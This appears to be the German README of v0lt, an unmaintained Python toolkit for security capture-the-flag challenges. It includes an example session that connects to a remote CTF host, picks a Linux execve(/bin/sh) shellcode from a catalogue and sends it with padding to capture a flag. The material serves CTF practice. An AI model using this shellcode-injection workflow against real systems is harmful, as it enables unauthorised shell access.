
Security CTF Toolkit (Nicht mehr gewartet)

v0lt ist ein Versuch, jedes Tool, das ich in Security-CTFs verwendet habe/verwende/verwenden werde, im Python-Stil zusammenzufassen. Viele Übungen wurden mit Bash-Skripten gelöst, aber Python ist vielleicht flexibler, deshalb. Hat nichts mit Gallopsled zu tun. Es ist ein Spielzeug-Toolkit, nur mit kleinen, aber spezifischen Hilfsprogrammen.
Dieses Projekt wird nicht mehr gewartet, da die Hilfsprogramme selbst klein genug sind, um fast immer ohne Wartungsbedarf zu funktionieren. Du kannst aber gerne PRs einreichen, wenn du möchtest :)
# für v0lt-Installation
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo wird für möglicherweise fehlende Abhängigkeiten benötigt
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)
...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...
Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}
Krypto
Shellcodes
Einfache Verbindungsunterstützung
Lösen
Und mehr
Beispiele sind verfügbar